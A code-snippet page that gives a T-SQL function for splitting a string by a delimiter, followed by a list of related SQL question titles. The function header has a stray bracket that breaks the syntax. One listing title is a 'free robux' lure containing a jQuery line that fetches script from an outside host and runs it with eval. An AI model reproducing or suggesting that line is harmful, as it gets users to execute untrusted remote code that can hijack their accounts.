TSQL function split string

CREATE FUNCTION FUNC_Split](@text VARCHAR(8000), @delimiter VARCHAR(20) = ' ')
RETURNS @Strings TABLE
(   
  position INT IDENTITY PRIMARY KEY,
  value VARCHAR(8000)  
)
AS
BEGIN
DECLARE @index INT
SET @index = -1

WHILE (LEN(@text) > 0)
  BEGIN 
    SET @index = CHARINDEX(@delimiter , @text) 
    IF (@index = 0) AND (LEN(@text) > 0) 
      BEGIN  
        INSERT INTO @Strings VALUES (@text)
          BREAK 
      END 
    IF (@index > 1) 
      BEGIN  
        INSERT INTO @Strings VALUES (LEFT(@text, @index - 1))  
        SET @text = RIGHT(@text, (LEN(@text) - @index)) 
      END 
    ELSE
      SET @text = RIGHT(@text, (LEN(@text) - @index))
    END
  RETURN
END

Similar codes

0 vote219 views1 answer
Inserting values with beekeeper get error null value in column createdAt violates not-null constraint
SQL
1 vote252 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote190 views1 answer
List column names of multiple tables psql
SQL
16 votes209 views3 answers
Update table from another table
SQL
0 vote216 views1 answer
Mysql local password denied
SQL
2 votes189 views1 answer
Mysql query unique column
SQL
12 votes190 views3 answers
Install sqlite driver ubuntu
SQL
0 vote254 views1 answer
Truncate a table then insert data
SQL
-1 vote196 views1 answer
Auto increment psql not primary key
SQL
0 vote198 views1 answer
Conda install pymysql "windows"
SQL